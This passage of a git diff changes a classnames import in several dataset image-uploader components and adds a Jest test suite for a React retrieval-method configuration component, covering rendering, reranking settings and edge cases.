+import { cn } from '@/utils/classnames'
 import More from './more'
 import type { ImageInfo } from '../image-previewer'
 import ImagePreviewer from '../image-previewer'
diff --git a/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/image-input.tsx b/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/image-input.tsx
index 3e15b92705..002ee705ba 100644
--- a/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/image-input.tsx
+++ b/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/image-input.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiUploadCloud2Line } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { useUpload } from '../hooks/use-upload'
diff --git a/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/index.tsx b/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/index.tsx
index 3efa3a19d7..5dc9971fd6 100644
--- a/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/index.tsx
+++ b/web/app/components/datasets/common/image-uploader/image-uploader-in-chunk/index.tsx
@@ -6,7 +6,7 @@ import type { FileEntity } from '../types'
 import FileItem from './image-item'
 import { useUpload } from '../hooks/use-upload'
 import ImageInput from './image-input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useCallback, useState } from 'react'
 import type { ImageInfo } from '@/app/components/datasets/common/image-previewer'
 import ImagePreviewer from '@/app/components/datasets/common/image-previewer'
diff --git a/web/app/components/datasets/common/image-uploader/image-uploader-in-retrieval-testing/index.tsx b/web/app/components/datasets/common/image-uploader/image-uploader-in-retrieval-testing/index.tsx
index 2d04132842..7fa4cca507 100644
--- a/web/app/components/datasets/common/image-uploader/image-uploader-in-retrieval-testing/index.tsx
+++ b/web/app/components/datasets/common/image-uploader/image-uploader-in-retrieval-testing/index.tsx
@@ -8,7 +8,7 @@ import {
 import type { FileEntity } from '../types'
 import { useUpload } from '../hooks/use-upload'
 import ImageInput from './image-input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import { useFileStoreWithSelector } from '../store'
 import ImageItem from './image-item'
diff --git a/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx
new file mode 100644
index 0000000000..7d5edb3dbb
--- /dev/null
+++ b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx
@@ -0,0 +1,905 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import type { RetrievalConfig } from '@/types/app'
+import { RETRIEVE_METHOD } from '@/types/app'
+import {
+  DEFAULT_WEIGHTED_SCORE,
+  RerankingModeEnum,
+  WeightedScoreEnum,
+} from '@/models/datasets'
+import RetrievalMethodConfig from './index'
+
+// Mock provider context with controllable supportRetrievalMethods
+let mockSupportRetrievalMethods: RETRIEVE_METHOD[] = [
+  RETRIEVE_METHOD.semantic,
+  RETRIEVE_METHOD.fullText,
+  RETRIEVE_METHOD.hybrid,
+]
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    supportRetrievalMethods: mockSupportRetrievalMethods,
+  }),
+}))
+
+// Mock model hooks with controllable return values
+let mockRerankDefaultModel: { provider: { provider: string }; model: string } | undefined = {
+  provider: { provider: 'test-provider' },
+  model: 'test-rerank-model',
+}
+let mockIsRerankDefaultModelValid: boolean | undefined = true
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  useModelListAndDefaultModelAndCurrentProviderAndModel: () => ({
+    defaultModel: mockRerankDefaultModel,
+    currentModel: mockIsRerankDefaultModelValid,
+  }),
+}))
+
+// Mock child component RetrievalParamConfig to simplify testing
+jest.mock('../retrieval-param-config', () => ({
+  __esModule: true,
+  default: ({ type, value, onChange, showMultiModalTip }: {
+    type: RETRIEVE_METHOD
+    value: RetrievalConfig
+    onChange: (v: RetrievalConfig) => void
+    showMultiModalTip?: boolean
+  }) => (
+    <div data-testid={`retrieval-param-config-${type}`}>
+      <span data-testid="param-config-type">{type}</span>
+      <span data-testid="param-config-multimodal-tip">{String(showMultiModalTip)}</span>
+      <button
+        data-testid={`update-top-k-${type}`}
+        onClick={() => onChange({ ...value, top_k: 10 })}
+      >
+        Update Top K
+      </button>
+    </div>
+  ),
+}))
+
+// Factory function to create mock RetrievalConfig
+const createMockRetrievalConfig = (overrides: Partial<RetrievalConfig> = {}): RetrievalConfig => ({
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: '',
+    reranking_model_name: '',
+  },
+  top_k: 4,
+  score_threshold_enabled: false,
+  score_threshold: 0.5,
+  ...overrides,
+})
+
+// Helper to render component with default props
+const renderComponent = (props: Partial<React.ComponentProps<typeof RetrievalMethodConfig>> = {}) => {
+  const defaultProps = {
+    value: createMockRetrievalConfig(),
+    onChange: jest.fn(),
+  }
+  return render(<RetrievalMethodConfig {...defaultProps} {...props} />)
+}
+
+describe('RetrievalMethodConfig', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset mock values to defaults
+    mockSupportRetrievalMethods = [
+      RETRIEVE_METHOD.semantic,
+      RETRIEVE_METHOD.fullText,
+      RETRIEVE_METHOD.hybrid,
+    ]
+    mockRerankDefaultModel = {
+      provider: { provider: 'test-provider' },
+      model: 'test-rerank-model',
+    }
+    mockIsRerankDefaultModelValid = true
+  })
+
+  // Tests for basic rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    })
+
+    it('should render all three retrieval methods when all are supported', () => {
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.full_text_search.title')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    it('should render descriptions for all retrieval methods', () => {
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.description')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.full_text_search.description')).toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.description')).toBeInTheDocument()
+    })
+
+    it('should only render semantic search when only semantic is supported', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.semantic]
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.hybrid_search.title')).not.toBeInTheDocument()
+    })
+
+    it('should only render fullText search when only fullText is supported', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.fullText]
+      renderComponent()
+
+      expect(screen.queryByText('dataset.retrieval.semantic_search.title')).not.toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.full_text_search.title')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.hybrid_search.title')).not.toBeInTheDocument()
+    })
+
+    it('should only render hybrid search when only hybrid is supported', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.hybrid]
+      renderComponent()
+
+      expect(screen.queryByText('dataset.retrieval.semantic_search.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    it('should render nothing when no retrieval methods are supported', () => {
+      mockSupportRetrievalMethods = []
+      const { container } = renderComponent()
+
+      // Only the wrapper div should exist
+      expect(container.firstChild?.childNodes.length).toBe(0)
+    })
+
+    it('should show RetrievalParamConfig for the active method', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+      })
+
+      expect(screen.getByTestId('retrieval-param-config-semantic_search')).toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-full_text_search')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-hybrid_search')).not.toBeInTheDocument()
+    })
+
+    it('should show RetrievalParamConfig for fullText when active', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }),
+      })
+
+      expect(screen.queryByTestId('retrieval-param-config-semantic_search')).not.toBeInTheDocument()
+      expect(screen.getByTestId('retrieval-param-config-full_text_search')).toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-hybrid_search')).not.toBeInTheDocument()
+    })
+
+    it('should show RetrievalParamConfig for hybrid when active', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }),
+      })
+
+      expect(screen.queryByTestId('retrieval-param-config-semantic_search')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('retrieval-param-config-full_text_search')).not.toBeInTheDocument()
+      expect(screen.getByTestId('retrieval-param-config-hybrid_search')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for props handling
+  describe('Props', () => {
+    it('should pass showMultiModalTip to RetrievalParamConfig', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        showMultiModalTip: true,
+      })
+
+      expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('true')
+    })
+
+    it('should default showMultiModalTip to false', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+      })
+
+      expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('false')
+    })
+
+    it('should apply disabled state to option cards', () => {
+      renderComponent({ disabled: true })
+
+      // When disabled, clicking should not trigger onChange
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+      expect(semanticOption).toHaveClass('cursor-not-allowed')
+    })
+
+    it('should default disabled to false', () => {
+      renderComponent()
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+      expect(semanticOption).not.toHaveClass('cursor-not-allowed')
+    })
+  })
+
+  // Tests for user interactions and event handlers
+  describe('User Interactions', () => {
+    it('should call onChange when switching to semantic search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should call onChange when switching to fullText search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(fullTextOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should call onChange when switching to hybrid search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.hybrid,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should not call onChange when clicking the already active method', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).not.toHaveBeenCalled()
+    })
+
+    it('should not call onChange when disabled', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+        disabled: true,
+      })
+
+      const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor"]')
+      fireEvent.click(fullTextOption!)
+
+      expect(onChange).not.toHaveBeenCalled()
+    })
+
+    it('should propagate onChange from RetrievalParamConfig', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const updateButton = screen.getByTestId('update-top-k-semantic_search')
+      fireEvent.click(updateButton)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          top_k: 10,
+        }),
+      )
+    })
+  })
+
+  // Tests for reranking model configuration
+  describe('Reranking Model Configuration', () => {
+    it('should set reranking model when switching to semantic and model is valid', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: 'test-provider',
+            reranking_model_name: 'test-rerank-model',
+          },
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should preserve existing reranking model when switching', () => {
+      const onChange = jest.fn()
+      const existingModel = {
+        reranking_provider_name: 'existing-provider',
+        reranking_model_name: 'existing-model',
+      }
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: existingModel,
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: existingModel,
+          reranking_enable: true,
+        }),
+      )
+    })
+
+    it('should set reranking_enable to false when no valid model', () => {
+      mockIsRerankDefaultModelValid = false
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_enable: false,
+        }),
+      )
+    })
+
+    it('should set reranking_mode for hybrid search', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.hybrid,
+          reranking_mode: RerankingModeEnum.RerankingModel,
+        }),
+      )
+    })
+
+    it('should set weighted score mode when no valid rerank model for hybrid', () => {
+      mockIsRerankDefaultModelValid = false
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_mode: RerankingModeEnum.WeightedScore,
+        }),
+      )
+    })
+
+    it('should set default weights for hybrid search when no existing weights', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          weights: undefined,
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          weights: {
+            weight_type: WeightedScoreEnum.Customized,
+            vector_setting: {
+              vector_weight: DEFAULT_WEIGHTED_SCORE.other.semantic,
+              embedding_provider_name: '',
+              embedding_model_name: '',
+            },
+            keyword_setting: {
+              keyword_weight: DEFAULT_WEIGHTED_SCORE.other.keyword,
+            },
+          },
+        }),
+      )
+    })
+
+    it('should preserve existing weights for hybrid search', () => {
+      const existingWeights = {
+        weight_type: WeightedScoreEnum.Customized,
+        vector_setting: {
+          vector_weight: 0.8,
+          embedding_provider_name: 'test-embed-provider',
+          embedding_model_name: 'test-embed-model',
+        },
+        keyword_setting: {
+          keyword_weight: 0.2,
+        },
+      }
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          weights: existingWeights,
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          weights: existingWeights,
+        }),
+      )
+    })
+
+    it('should use RerankingModel mode and enable reranking for hybrid when existing reranking model', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.semantic,
+          reranking_model: {
+            reranking_provider_name: 'existing-provider',
+            reranking_model_name: 'existing-model',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          search_method: RETRIEVE_METHOD.hybrid,
+          reranking_enable: true,
+          reranking_mode: RerankingModeEnum.RerankingModel,
+        }),
+      )
+    })
+  })
+
+  // Tests for callback stability and memoization
+  describe('Callback Stability', () => {
+    it('should maintain stable onSwitch callback when value changes', () => {
+      const onChange = jest.fn()
+      const value1 = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText, top_k: 4 })
+      const value2 = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText, top_k: 8 })
+
+      const { rerender } = render(
+        <RetrievalMethodConfig value={value1} onChange={onChange} />,
+      )
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+
+      rerender(<RetrievalMethodConfig value={value2} onChange={onChange} />)
+
+      fireEvent.click(semanticOption!)
+      expect(onChange).toHaveBeenCalledTimes(2)
+    })
+
+    it('should use updated onChange callback after rerender', () => {
+      const onChange1 = jest.fn()
+      const onChange2 = jest.fn()
+      const value = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText })
+
+      const { rerender } = render(
+        <RetrievalMethodConfig value={value} onChange={onChange1} />,
+      )
+
+      rerender(<RetrievalMethodConfig value={value} onChange={onChange2} />)
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange1).not.toHaveBeenCalled()
+      expect(onChange2).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Tests for component memoization
+  describe('Component Memoization', () => {
+    it('should be memoized with React.memo', () => {
+      // Verify the component is wrapped with React.memo by checking its displayName or type
+      expect(RetrievalMethodConfig).toBeDefined()
+      // React.memo components have a $$typeof property
+      expect((RetrievalMethodConfig as any).$$typeof).toBeDefined()
+    })
+
+    it('should not re-render when props are the same', () => {
+      const onChange = jest.fn()
+      const value = createMockRetrievalConfig()
+
+      const { rerender } = render(
+        <RetrievalMethodConfig value={value} onChange={onChange} />,
+      )
+
+      // Rerender with same props reference
+      rerender(<RetrievalMethodConfig value={value} onChange={onChange} />)
+
+      // Component should still be rendered correctly
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for edge cases and error handling
+  describe('Edge Cases', () => {
+    it('should handle undefined reranking_model', () => {
+      const onChange = jest.fn()
+      const value = createMockRetrievalConfig({
+        search_method: RETRIEVE_METHOD.fullText,
+      })
+      // @ts-expect-error - Testing edge case
+      value.reranking_model = undefined
+
+      renderComponent({
+        value,
+        onChange,
+      })
+
+      // Should not crash
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    })
+
+    it('should handle missing default model', () => {
+      mockRerankDefaultModel = undefined
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(semanticOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+      )
+    })
+
+    it('should use fallback empty string when default model provider is undefined', () => {
+      // @ts-expect-error - Testing edge case where provider is undefined
+      mockRerankDefaultModel = { provider: undefined, model: 'test-model' }
+      mockIsRerankDefaultModelValid = true
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: 'test-model',
+          },
+        }),
+      )
+    })
+
+    it('should use fallback empty string when default model name is undefined', () => {
+      // @ts-expect-error - Testing edge case where model is undefined
+      mockRerankDefaultModel = { provider: { provider: 'test-provider' }, model: undefined }
+      mockIsRerankDefaultModelValid = true
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({
+          search_method: RETRIEVE_METHOD.fullText,
+          reranking_model: {
+            reranking_provider_name: '',
+            reranking_model_name: '',
+          },
+        }),
+        onChange,
+      })
+
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+      fireEvent.click(hybridOption!)
+
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_model: {
+            reranking_provider_name: 'test-provider',
+            reranking_model_name: '',
+          },
+        }),
+      )
+    })
+
+    it('should handle rapid sequential clicks', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+        onChange,
+      })
+
+      const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor-pointer"]')
+      const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]')
+
+      // Rapid clicks
+      fireEvent.click(fullTextOption!)
+      fireEvent.click(hybridOption!)
+      fireEvent.click(fullTextOption!)
+
+      expect(onChange).toHaveBeenCalledTimes(3)
+    })
+
+    it('should handle empty supportRetrievalMethods array', () => {
+      mockSupportRetrievalMethods = []
+      const { container } = renderComponent()
+
+      expect(container.querySelector('[class*="flex-col"]')?.childNodes.length).toBe(0)
+    })
+
+    it('should handle partial supportRetrievalMethods', () => {
+      mockSupportRetrievalMethods = [RETRIEVE_METHOD.semantic, RETRIEVE_METHOD.hybrid]
+      renderComponent()
+
+      expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument()
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    it('should handle value with all optional fields set', () => {
+      const fullValue = createMockRetrievalConfig({
+        search_method: RETRIEVE_METHOD.hybrid,
+        reranking_enable: true,
+        reranking_model: {
+          reranking_provider_name: 'provider',
+          reranking_model_name: 'model',
+        },
+        top_k: 10,
+        score_threshold_enabled: true,
+        score_threshold: 0.8,
+        reranking_mode: RerankingModeEnum.WeightedScore,
+        weights: {
+          weight_type: WeightedScoreEnum.Customized,
+          vector_setting: {
+            vector_weight: 0.6,
+            embedding_provider_name: 'embed-provider',
+            embedding_model_name: 'embed-model',
+          },
+          keyword_setting: {
+            keyword_weight: 0.4,
+          },
+        },
+      })
+
+      renderComponent({ value: fullValue })
+
+      expect(screen.getByTestId('retrieval-param-config-hybrid_search')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for all prop variations
+  describe('Prop Variations', () => {
+    it('should render with minimum required props', () => {
+      const { container } = render(
+        <RetrievalMethodConfig
+          value={createMockRetrievalConfig()}
+          onChange={jest.fn()}
+        />,
+      )
+
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render with all props set', () => {
+      renderComponent({
+        disabled: true,
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }),
+        showMultiModalTip: true,
+        onChange: jest.fn(),
+      })
+
+      expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument()
+    })
+
+    describe('disabled prop variations', () => {
+      it('should handle disabled=true', () => {
+        renderComponent({ disabled: true })
+        const option = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+        expect(option).toHaveClass('cursor-not-allowed')
+      })
+
+      it('should handle disabled=false', () => {
+        renderComponent({ disabled: false })
+        const option = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]')
+        expect(option).toHaveClass('cursor-pointer')
+      })
+    })
+
+    describe('search_method variations', () => {
+      const methods = [
+        RETRIEVE_METHOD.semantic,
+        RETRIEVE_METHOD.fullText,
+        RETRIEVE_METHOD.hybrid,
+      ]
+
+      test.each(methods)('should correctly highlight %s when active', (method) => {
+        renderComponent({
+          value: createMockRetrievalConfig({ search_method: method }),
+        })
+
+        // The active method should have its RetrievalParamConfig rendered
+        expect(screen.getByTestId(`retrieval-param-config-${method}`)).toBeInTheDocument()
+      })
+    })
+
+    describe('showMultiModalTip variations', () => {
+      it('should pass true to child component', () => {
+        renderComponent({
+          value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+          showMultiModalTip: true,
+        })
+        expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('true')
+      })
+
+      it('should pass false to child component', () => {
+        renderComponent({
+          value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+          showMultiModalTip: false,
+        })
+        expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('false')
+      })
+    })
+  })
+
+  // Tests for active state visual indication
+  describe('Active State Visual Indication', () => {
+    it('should show recommended badge only on hybrid search', () => {
+      renderComponent()
+
+      // The hybrid search option should have the recommended badge
+      // This is verified by checking the isRecommended prop passed to OptionCard
+      const hybridTitle = screen.getByText('dataset.retrieval.hybrid_search.title')
+      const hybridCard = hybridTitle.closest('div[class*="cursor"]')
+
+      // Should contain recommended badge from OptionCard
+      expect(hybridCard?.querySelector('[class*="badge"]') || screen.queryByText('datasetCreation.stepTwo.recommend')).toBeTruthy()
+    })
+  })
+
+  // Tests for integration with OptionCard
+  describe('OptionCard Integration', () => {
+    it('should pass correct props to OptionCard for semantic search', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+      })
+
+      const semanticTitle = screen.getByText('dataset.retrieval.semantic_search.title')
+      expect(semanticTitle).toBeInTheDocument()
+
+      // Check description
+      const semanticDesc = screen.getByText('dataset.retrieval.semantic_search.description')
+      expect(semanticDesc).toBeInTheDocument()
+    })
+
+    it('should pass correct props to OptionCard for fullText search', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }),
+      })
+
+      const fullTextTitle = screen.getByText('dataset.retrieval.full_text_search.title')
+      expect(fullTextTitle).toBeInTheDocument()
+
+      const fullTextDesc = screen.getByText('dataset.retrieval.full_text_search.description')
+      expect(fullTextDesc).toBeInTheDocument()
+    })
+
+    it('should pass correct props to OptionCard for hybrid search', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }),
+      })
+
+      const hybridTitle = screen.getByText('dataset.retrieval.hybrid_search.title')
+      expect(hybridTitle).toBeInTheDocument()
+
+      const hybridDesc = screen.getByText('dataset.retrieval.hybrid_search.description')
+      expect(hybridDesc).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/common/retrieval-param-config/index.tsx b/web/app/components/datasets/common/retrieval-param-config/index.tsx
index 2b703cc44d..be47ea6b8f 100644
--- a/web/app/components/datasets/common/retrieval-param-config/index.tsx
